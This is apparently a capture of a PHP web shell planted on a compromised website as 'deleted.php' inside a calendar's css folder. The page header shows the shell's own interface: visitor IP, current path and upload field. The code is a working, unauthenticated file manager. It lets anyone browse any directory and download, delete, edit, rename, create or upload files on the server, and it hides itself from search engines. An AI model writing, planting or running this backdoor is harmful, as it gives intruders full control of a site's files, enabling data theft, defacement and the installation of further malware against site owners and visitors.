Your IP : 216.73.217.93


Current Path : /home/sunflowe/www/calendar/css/
Upload File :
Current File : /home/sunflowe/www/calendar/css/deleted.php

<?php
session_start();

function createBreadcrumb($dirPath) {
    $parts = explode('/', trim($dirPath, '/'));
    $currentPath = '';
    $output = '<nav><ul style="list-style:none; padding:0;">';
    $output .= "<li style='display:inline;'><a href='?dir=" . urlencode($_SERVER['DOCUMENT_ROOT']) . "'>ROOT</a>/</li>";

    foreach ($parts as $key => $part) {
        $currentPath .= '/' . $part;
        if ($key === count($parts) - 1) {
            $output .= "<li style='display:inline;'>$part</li>";
        } else {
            $output .= "<li style='display:inline;'><a href='?dir=" . urlencode($currentPath) . "'>$part</a>/</li>";
        }
    }

    $output .= '</ul></nav>';
    return $output;
}

function listDirectories($dirPath) {
    $output = createBreadcrumb($dirPath);
    $output .= "<table border='1' cellpadding='5'><tr><th>Name</th><th>Type</th><th>Last Modified</th><th>Action</th></tr>";
    $files = scandir($dirPath);

    foreach ($files as $file) {
        if ($file === '.') continue;

        $filePath = $dirPath . '/' . $file;
        $type = is_dir($filePath) ? 'Folder' : 'File';
        $lastModified = date("Y-m-d H:i:s", filemtime($filePath));

        $output .= "<tr>";
        if ($type == 'Folder') {
            if ($file == '..') {
                $parentDir = dirname($dirPath);
                $output .= "<td><a href='?dir=" . urlencode($parentDir) . "'>$file</a></td><td>$type</td><td>$lastModified</td><td></td>";
            } else {
                $output .= "<td><a href='?dir=" . urlencode($filePath) . "'>$file</a></td><td>$type</td><td>$lastModified</td>
                <td>
                    <a href='?delete=" . urlencode($filePath) . "&dir=" . urlencode($dirPath) . "' onclick=\"return confirm('Hapus folder ini beserta isinya?')\">Delete</a>
                </td>";
            }
        } else {
            $output .= "<td>$file</td><td>$type</td><td>$lastModified</td><td>
                <a href='?download=" . urlencode($filePath) . "'>Download</a> |
                <a href='?delete=" . urlencode($filePath) . "&dir=" . urlencode($dirPath) . "' onclick=\"return confirm('Hapus file ini?')\">Delete</a> |
                <a href='?edit=" . urlencode($filePath) . "'>Edit</a> |
                <a href='?rename=" . urlencode($filePath) . "'>Rename</a>
            </td>";
        }
        $output .= "</tr>";
    }

    $output .= "</table>";
    return $output;
}

function deleteFile($filePath) {
    if (is_file($filePath)) {
        unlink($filePath);
    }
}

function deleteFolder($folderPath) {
    if (!is_dir($folderPath)) return;

    $items = scandir($folderPath);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $itemPath = $folderPath . '/' . $item;
        if (is_dir($itemPath)) {
            deleteFolder($itemPath);
        } else {
            unlink($itemPath);
        }
    }
    rmdir($folderPath);
}

function createDirectory($dirPath, $dirName) {
    $newDir = $dirPath . '/' . $dirName;
    if (!is_dir($newDir)) {
        mkdir($newDir);
    }
}

function createFile($dirPath, $fileName) {
    $newFile = $dirPath . '/' . $fileName;
    if (!file_exists($newFile)) {
        touch($newFile);
    }
}

function uploadFile($dirPath) {
    if (isset($_FILES['uploaded_file']) && $_FILES['uploaded_file']['error'] === UPLOAD_ERR_OK) {
        $file = $_FILES['uploaded_file'];
        $fileName = basename($file['name']);
        $targetFile = $dirPath . '/' . $fileName;

        if (is_uploaded_file($file['tmp_name'])) {
            if (!move_uploaded_file($file['tmp_name'], $targetFile)) {
                echo "<p style='color:red;'>Gagal memindahkan file ke: $targetFile</p>";
            }
        } else {
            echo "<p style='color:red;'>Bukan file hasil upload: " . htmlspecialchars($file['tmp_name']) . "</p>";
        }
    } else {
        if (isset($_FILES['uploaded_file'])) {
            echo "<p style='color:red;'>Upload gagal. Kode error: " . $_FILES['uploaded_file']['error'] . "</p>";
        }
    }
}

function editFile($filePath) {
    if (isset($_POST['save_file'])) {
        if (file_put_contents($filePath, $_POST['file_content']) !== false) {
            header("Location: ?dir=" . urlencode(dirname($filePath)));
            exit;
        } else {
            echo "<p style='color:red;'>Gagal menyimpan file!</p>";
        }
    } else {
        $content = file_get_contents($filePath);
        echo "
        <h2>Editing File: " . basename($filePath) . "</h2>
        <form method='post'>
            <textarea name='file_content' rows='20' cols='80'>" . htmlspecialchars($content) . "</textarea><br><br>
            <input type='submit' name='save_file' value='Save Changes'>
            <a href='?dir=" . urlencode(dirname($filePath)) . "'>Cancel</a>
        </form>";
    }
}

function renameFile($oldPath, $newName) {
    $newPath = dirname($oldPath) . '/' . $newName;
    if (!file_exists($newPath)) {
        rename($oldPath, $newPath);
    }
}

function downloadFile($filePath) {
    if (file_exists($filePath)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($filePath).'"');
        header('Content-Length: ' . filesize($filePath));
        readfile($filePath);
        exit;
    }
}

$currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();

if (isset($_GET['download'])) {
    downloadFile($_GET['download']);
}

if (isset($_GET['delete'])) {
    $target = $_GET['delete'];
    if (is_file($target)) {
        deleteFile($target);
    } elseif (is_dir($target)) {
        deleteFolder($target);
    }
    header("Location: ?dir=" . urlencode($currentDir));
    exit;
}

if (isset($_POST['new_folder'])) {
    createDirectory($currentDir, $_POST['folder_name']);
    header("Location: ?dir=" . urlencode($currentDir));
    exit;
}

if (isset($_POST['new_file'])) {
    createFile($currentDir, $_POST['file_name']);
    header("Location: ?dir=" . urlencode($currentDir));
    exit;
}

if (isset($_FILES['uploaded_file'])) {
    uploadFile($currentDir);
    header("Location: ?dir=" . urlencode($currentDir));
    exit;
}

if (isset($_POST['rename_file']) && isset($_GET['rename'])) {
    renameFile($_GET['rename'], $_POST['new_name']);
    header("Location: ?dir=" . urlencode(dirname($_GET['rename'])));
    exit;
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>PHP File Manager</title>
    <meta name="robots" content="noindex, nofollow" />
    <style>
        body {
            font-family: Arial, sans-serif;
        }
        .container {
            width: 80%;
            margin: 20px auto;
        }
        .actions {
            margin-bottom: 20px;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        table, th, td {
            border: 1px solid black;
        }
        th, td {
            padding: 8px;
        }
        a {
            text-decoration: none;
            color: blue;
        }
    </style>
</head>
<body>
<div class="container">
    <h1>PHP File Manager</h1>

    <div class="actions">
        <form method="post" enctype="multipart/form-data" style="display:inline;">
            <input type="file" name="uploaded_file">
            <input type="submit" value="Upload File">
        </form>

        <form method="post" style="display:inline;">
            <input type="text" name="folder_name" placeholder="New Folder Name">
            <input type="submit" name="new_folder" value="Create Folder">
        </form>

        <form method="post" style="display:inline;">
            <input type="text" name="file_name" placeholder="New File Name">
            <input type="submit" name="new_file" value="Create File">
        </form>
    </div>

    <?php
    if (isset($_GET['edit'])) {
        editFile($_GET['edit']);
    } elseif (isset($_GET['rename'])) {
        $fileToRename = $_GET['rename'];
        $currentFileName = basename($fileToRename);
        echo "
        <h2>Rename File: " . htmlspecialchars($currentFileName) . "</h2>
        <form method='post'>
            <input type='text' name='new_name' value='" . htmlspecialchars($currentFileName) . "'>
            <input type='submit' name='rename_file' value='Rename'>
            <a href='?dir=" . urlencode(dirname($fileToRename)) . "'>Cancel</a>
        </form>";
    } else {
        echo listDirectories($currentDir);
    }
    ?>
</div>
</body>
</html>